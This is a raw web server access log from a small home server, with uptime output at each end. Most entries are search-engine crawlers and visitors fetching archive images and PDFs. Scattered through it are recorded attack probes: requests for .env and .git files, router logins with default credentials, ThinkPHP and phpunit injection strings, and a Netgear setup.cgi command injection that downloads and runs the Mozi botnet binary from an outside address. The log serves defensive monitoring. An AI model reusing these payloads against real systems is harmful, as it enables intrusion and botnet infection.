Sun 21 Feb 2021 06:25:03 AM MST 06:25:03 up 1 day, 20:46, 2 users, load average: 0.00, 0.01, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 Fri09 46:07m 21:12 0.18s /usr/bin/lxsession -s LXDE-pi -e LXDE pi tty1 - Fri09 46:08m 0.12s 0.10s -bash 3.104.122.100 - - [21/Feb/2021:13:45:03 +0000] "GET /.env HTTP/1.1" 404 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 3.104.122.100 - - [21/Feb/2021:13:45:06 +0000] "POST / HTTP/1.1" 501 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 114.119.155.42 - - [21/Feb/2021:13:50:30 +0000] "GET /ac0xl/www/2005-museumarchives/Raw-Data/0-Raw-Data/Harris-Ekker-Recordings/sound HTTP/1.1" 302 0 "" "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://aspiegel.com/petalbot)" 114.119.155.42 - - [21/Feb/2021:13:50:31 +0000] "GET /ac0xl/www/2005-museumarchives/Raw-Data/0-Raw-Data/Harris-Ekker-Recordings/sound/ HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://aspiegel.com/petalbot)" 132.148.239.32 - - [21/Feb/2021:14:21:20 +0000] "GET /downloads/MMSforum.io/protocol-115_for_viruses-1.pdf HTTP/1.1" 200 924502 "https://www.google.com" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36 OPR/28.0.1750.48" 200.35.34.145 - - [21/Feb/2021:15:04:44 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 135.125.161.252 - - [21/Feb/2021:15:12:24 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 404 0 "http://162.250.19.7:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 209.141.60.60 - - [21/Feb/2021:15:12:58 +0000] "GET /config/getuser?index=0 HTTP/1.1" 404 0 "" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0" 71.84.164.157 - - [21/Feb/2021:16:25:40 +0000] "GET /ac0xl/DavidStraight/Gennoticeofappearance.pdf HTTP/1.1" 200 129706 "" "Dalvik/2.1.0 (Linux; U; Android 9; U307AS Build/P00610)" 114.119.128.39 - - [21/Feb/2021:17:03:39 +0000] "GET /robots.txt HTTP/1.1" 200 27 "" "(compatible;PetalBot;+https://aspiegel.com/petalbot)" 60.8.123.56 - - [21/Feb/2021:17:03:51 +0000] "GET /ac0xl/www/2005-museumarchives/ HTTP/1.1" 200 3418 "" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)" 111.225.148.163 - - [21/Feb/2021:17:04:07 +0000] "GET /robots.txt HTTP/1.1" 200 27 "" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)" 115.58.23.177 - - [21/Feb/2021:17:06:10 +0000] "POST /HNAP1/ HTTP/1.0" 404 0 "" "" 73.65.150.197 - - [21/Feb/2021:17:45:14 +0000] "GET /favicon.ico HTTP/1.1" 200 533 "http://162.250.19.7/ac0xl/Basiago-Andrew/darpa-pegasus.htm.pdf" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" 73.65.150.197 - - [21/Feb/2021:17:45:16 +0000] "GET /ac0xl/Basiago-Andrew/darpa-pegasus.htm.pdf HTTP/1.1" 200 851527 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" 18.213.51.137 - - [21/Feb/2021:18:34:55 +0000] "GET /downloads/g2churchbooks.org/Um%20Mundo%20Sem%20Doenc%CC%A7as%20E%CC%81%20Possi%CC%81vel%20Terminado.pdf HTTP/1.1" 200 40209 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36" 18.213.51.137 - - [21/Feb/2021:18:35:47 +0000] "GET /downloads/g2churchbooks.org/Um%20Mundo%20Sem%20Doenc%CC%A7as%20E%CC%81%20Possi%CC%81vel%20Terminado.pdf HTTP/1.1" 200 12277068 "" "Java/12" 27.109.30.45 - - [21/Feb/2021:18:36:52 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 49.235.80.187 - - [21/Feb/2021:18:45:07 +0000] "GET /login HTTP/1.0" 404 0 "" "" 49.235.80.187 - - [21/Feb/2021:18:45:08 +0000] "GET /jenkins/login HTTP/1.0" 404 0 "" "" 49.235.80.187 - - [21/Feb/2021:18:45:08 +0000] "GET /manager/html HTTP/1.1" 404 0 "" "Go-http-client/1.1" 49.235.80.187 - - [21/Feb/2021:18:45:09 +0000] "GET /wp-login.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0" 47.34.140.230 - - [21/Feb/2021:18:58:58 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 47.34.140.230 - - [21/Feb/2021:18:58:58 +0000] "GET / HTTP/1.1" 200 25000 "" "" 197.0.89.244 - - [21/Feb/2021:19:08:28 +0000] "GET //.env HTTP/1.1" 400 0 "" "" 197.0.89.244 - - [21/Feb/2021:19:08:30 +0000] "POST / HTTP/1.1" 501 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 24.223.105.231 - - [21/Feb/2021:19:22:37 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 77.49.86.190 - - [21/Feb/2021:19:50:06 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 194.61.55.248 - - [21/Feb/2021:19:57:20 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 45.155.126.222 - - [21/Feb/2021:20:08:53 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (compatible; tchelebi/1.0; +http://tchelebi.io)" 162.250.19.7 - - [21/Feb/2021:20:42:19 +0000] "GET /ac0xl/logs/ HTTP/1.1" 200 25000 "http://162.250.19.7/ac0xl/" "Mozilla/5.0 (Android 4.4.2; Mobile; rv:68.0) Gecko/68.0 Firefox/68.0" 66.249.75.253 - - [21/Feb/2021:20:46:36 +0000] "GET /ads.txt HTTP/1.1" 404 0 "" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 114.119.142.186 - - [21/Feb/2021:20:48:26 +0000] "GET /ac0xl/www/2005-museumarchives/Charlotte/2005-07-01/100_1293s.jpg HTTP/1.1" 200 14971 "" "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://aspiegel.com/petalbot)" 52.3.178.162 - - [21/Feb/2021:21:17:37 +0000] "GET /downloads/g2churchbooks.org/Um%20Mundo%20Sem%20Doenc%CC%A7as%20E%CC%81%20Possi%CC%81vel%20Terminado.pdf HTTP/1.1" 200 37513 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36" 52.3.178.162 - - [21/Feb/2021:21:18:28 +0000] "GET /downloads/g2churchbooks.org/Um%20Mundo%20Sem%20Doenc%CC%A7as%20E%CC%81%20Possi%CC%81vel%20Terminado.pdf HTTP/1.1" 200 12277068 "" "Java/12" 39.96.139.158 - - [21/Feb/2021:22:48:00 +0000] "GET / HTTP/1.1" 200 25000 "" "Go-http-client/1.1" 192.241.220.107 - - [21/Feb/2021:23:17:06 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 zgrab/0.x" 45.155.205.108 - - [21/Feb/2021:23:29:07 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.155.205.108 - - [21/Feb/2021:23:29:07 +0000] "POST /api/jsonws/invoke HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.155.205.108 - - [21/Feb/2021:23:29:07 +0000] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.155.205.108 - - [21/Feb/2021:23:29:08 +0000] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.155.205.108 - - [21/Feb/2021:23:29:08 +0000] "GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.155.205.108 - - [21/Feb/2021:23:29:08 +0000] "GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.155.205.108 - - [21/Feb/2021:23:29:09 +0000] "GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.155.205.108 - - [21/Feb/2021:23:29:09 +0000] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.155.205.108 - - [21/Feb/2021:23:29:09 +0000] "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.155.205.108 - - [21/Feb/2021:23:29:09 +0000] "GET /_ignition/execute-solution HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.155.205.108 - - [21/Feb/2021:23:29:10 +0000] "GET /console/ HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 165.16.35.14 - - [22/Feb/2021:00:02:20 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 192.241.223.237 - - [22/Feb/2021:00:21:24 +0000] "GET /portal/redlion HTTP/1.1" 404 0 "" "Mozilla/5.0 zgrab/0.x" 92.242.198.93 - - [22/Feb/2021:00:23:30 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 216.18.204.199 - - [22/Feb/2021:00:33:25 +0000] "GET /robots.txt HTTP/1.1" 200 27 "" "Mozilla/5.0 (compatible; Adsbot/3.1)" 216.18.204.199 - - [22/Feb/2021:00:37:47 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (compatible; Adsbot/3.1)" 51.11.229.77 - - [22/Feb/2021:00:45:17 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 zgrab/0.x" 52.3.178.162 - - [22/Feb/2021:01:55:07 +0000] "GET /downloads/g2churchbooks.org/Um%20Mundo%20Sem%20Doenc%CC%A7as%20E%CC%81%20Possi%CC%81vel%20Terminado.pdf HTTP/1.1" 200 37513 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36" 52.3.178.162 - - [22/Feb/2021:01:55:59 +0000] "GET /downloads/g2churchbooks.org/Um%20Mundo%20Sem%20Doenc%CC%A7as%20E%CC%81%20Possi%CC%81vel%20Terminado.pdf HTTP/1.1" 200 12277068 "" "Java/12" 114.119.155.42 - - [22/Feb/2021:02:17:25 +0000] "GET /ac0xl/www/2005-museumarchives/Elgin-Cemetery/2004-11-15/dsc00386s.jpg HTTP/1.1" 200 14873 "" "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://aspiegel.com/petalbot)" 66.249.73.177 - - [22/Feb/2021:02:36:19 +0000] "GET /robots.txt HTTP/1.1" 200 27 "" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.73.177 - - [22/Feb/2021:02:36:19 +0000] "GET /ac0xl/www/2005-museumarchives/Charlotte/2005-07-13/100_1472s.jpg HTTP/1.1" 200 13716 "" "Googlebot-Image/1.0" 103.82.222.252 - - [22/Feb/2021:02:43:04 +0000] "POST /HNAP1/ HTTP/1.0" 404 0 "" "" 66.249.73.175 - - [22/Feb/2021:03:03:53 +0000] "GET /downloads/g2churchbooks.org/Um%20Mundo%20Sem%20Doenc%CC%A7as%20E%CC%81%20Possi%CC%81vel%20Terminado.pdf HTTP/1.1" 200 3772821 "" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36" 114.119.129.107 - - [22/Feb/2021:03:27:30 +0000] "GET /ac0xl/www/2005-museumarchives/Charlotte/2005-07-01/100_1279s.jpg HTTP/1.1" 200 9497 "" "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://aspiegel.com/petalbot)" 2.57.122.97 - - [22/Feb/2021:03:34:58 +0000] "GET / HTTP/1.1" 200 25000 "http://162.250.19.7:80/left.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0" 66.249.73.173 - - [22/Feb/2021:03:36:19 +0000] "GET /ac0xl/www/2003-ArchHunterBooks/images/9016s.jpg HTTP/1.1" 200 1520 "" "Googlebot-Image/1.0" 192.241.224.122 - - [22/Feb/2021:04:03:39 +0000] "GET /actuator/health HTTP/1.1" 404 0 "" "Mozilla/5.0 zgrab/0.x" 44.234.8.64 - - [22/Feb/2021:04:12:02 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36" 89.190.156.31 - - [22/Feb/2021:04:19:40 +0000] "HEAD /robots.txt HTTP/1.0" 200 0 "" "" 178.72.75.180 - - [22/Feb/2021:04:27:08 +0000] "GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0" 404 0 "" "" 66.249.73.173 - - [22/Feb/2021:04:36:19 +0000] "GET /ac0xl/www/2005-museumarchives/Charlotte/2005-07-01/100_1356s.jpg HTTP/1.1" 200 14069 "" "Googlebot-Image/1.0" 2.57.122.97 - - [22/Feb/2021:04:56:25 +0000] "POST /tools.cgi HTTP/1.1" 404 0 "http://162.250.19.7:80/tools.cgi" "Linux Gnu" 66.249.73.173 - - [22/Feb/2021:05:36:19 +0000] "GET /ac0xl/www/2003-ArchHunterBooks/images/0039s.jpg HTTP/1.1" 200 2020 "" "Googlebot-Image/1.0" 52.234.144.27 - - [22/Feb/2021:05:36:47 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 66.249.73.175 - - [22/Feb/2021:06:36:22 +0000] "GET /ac0xl/www/2005-museumarchives/Charlotte/2005-06-30/100_1143.jpg HTTP/1.1" 200 760682 "" "Googlebot-Image/1.0" 135.125.161.252 - - [22/Feb/2021:07:20:55 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 404 0 "http://162.250.19.7:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 92.55.44.102 - - [22/Feb/2021:07:23:02 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 46.148.43.216 - - [22/Feb/2021:07:28:57 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 66.249.73.177 - - [22/Feb/2021:07:36:19 +0000] "GET /ac0xl/www/2003-ArchHunterBooks/images/1433s.jpg HTTP/1.1" 200 2680 "" "Googlebot-Image/1.0" 15.165.231.141 - - [22/Feb/2021:07:38:31 +0000] "GET /.git/HEAD HTTP/1.1" 404 0 "" "curl/7.61.1" 45.87.62.119 - - [22/Feb/2021:08:15:15 +0000] "GET /.env HTTP/1.1" 404 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.87.62.119 - - [22/Feb/2021:08:15:16 +0000] "POST / HTTP/1.1" 501 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 66.249.73.175 - - [22/Feb/2021:08:36:19 +0000] "GET /ac0xl/www/2005-museumarchives/Charlotte/2005-06-11/100_0997s.jpg HTTP/1.1" 200 17518 "" "Googlebot-Image/1.0" 177.74.157.217 - - [22/Feb/2021:08:38:24 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 103.145.13.118 - - [22/Feb/2021:09:23:54 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 404 0 "http://162.250.19.7:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 66.249.73.177 - - [22/Feb/2021:09:36:24 +0000] "GET /ac0xl/www/2005-museumarchives/Elgin-Cemetery/2004-11-15/dsc00395.jpg HTTP/1.1" 200 1521499 "" "Googlebot-Image/1.0" 151.106.40.85 - - [22/Feb/2021:09:36:26 +0000] "GET /.env HTTP/1.1" 404 0 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 82.146.59.44 - - [22/Feb/2021:10:07:08 +0000] "GET /downloads/MMSforum.io/protocol-115_for_viruses-1.pdf HTTP/1.1" 200 924502 "https://www.google.com" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36 OPR/28.0.1750.48" 114.119.140.172 - - [22/Feb/2021:10:15:00 +0000] "GET /ac0xl/www/2003-ArchHunterBooks/images/2105s.jpg HTTP/1.1" 200 5207 "" "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://aspiegel.com/petalbot)" 66.249.73.177 - - [22/Feb/2021:10:36:21 +0000] "GET /ac0xl/www/2005-museumarchives/Raw-Data/0-Raw-Data/Hurst.Range.Ck.SLC.Museum.Other.stuff/P1010037.JPG HTTP/1.1" 200 653131 "" "Googlebot-Image/1.0" 36.37.191.131 - - [22/Feb/2021:11:08:35 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 213.108.134.156 - - [22/Feb/2021:11:33:04 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 66.249.73.177 - - [22/Feb/2021:11:36:21 +0000] "GET /ac0xl/www/2005-museumarchives/Charlotte/2005-07-01/100_1214.jpg HTTP/1.1" 200 704271 "" "Googlebot-Image/1.0" 66.249.73.175 - - [22/Feb/2021:12:36:25 +0000] "GET /ac0xl/www/2005-museumarchives/Elgin-Cemetery/2004-11-15/dsc00357.jpg HTTP/1.1" 200 1466173 "" "Googlebot-Image/1.0" 73.85.203.35 - - [22/Feb/2021:12:40:17 +0000] "GET /favicon.ico HTTP/1.1" 200 533 "http://162.250.19.7/downloads/MMSforum.io/protocol-115_for_viruses-1.pdf" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" 73.85.203.35 - - [22/Feb/2021:12:40:19 +0000] "GET /downloads/MMSforum.io/protocol-115_for_viruses-1.pdf HTTP/1.1" 200 924502 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" 197.3.96.18 - - [22/Feb/2021:12:46:18 +0000] "GET / HTTP/1.1" 200 25000 "" "python-requests/2.24.0" 116.72.201.230 - - [22/Feb/2021:12:46:49 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://116.72.201.230:59096/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 404 0 "" "" 135.125.161.252 - - [22/Feb/2021:13:15:23 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 404 0 "http://162.250.19.7:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" Mon 22 Feb 2021 06:25:02 AM MST 06:25:02 up 2 days, 20:46, 2 users, load average: 0.11, 0.03, 0.01 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 Fri09 2days 24:53 0.21s /usr/bin/lxsession -s LXDE-pi -e LXDE pi tty1 - Fri09 2days 0.12s 0.10s -bash